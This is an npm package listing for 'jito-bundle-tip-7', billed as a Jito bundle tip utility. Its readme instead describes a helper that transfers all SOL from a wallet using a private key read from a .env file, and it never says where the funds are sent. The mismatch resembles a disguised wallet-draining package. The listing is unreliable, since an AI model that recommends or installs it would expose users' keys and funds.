jito-bundle-tip-7
v1.0.0
Published
A utility to create a tip transaction for the Jito Bundle
Downloads
9
Maintainers
Readme
Solana Transfer Helper
A utility to transfer all SOL from a wallet on Solana blockchain.
Installation
npm installBuild
npm run buildThis will compile the TypeScript code to JavaScript in the dist/ directory.
Usage
After building, you can import and use this module in your Node.js project:
const { TransferAllSol } = require('solana-transfer-helper');
// Make sure to set PRIVATE_KEY in your .env file
TransferAllSol().then(signature => {
console.log('Transaction:', signature);
}).catch(err => {
console.error('Error:', err);
});Environment Variables
Create a .env file with:
PRIVATE_KEY=your_base58_encoded_private_keyLicense
MIT
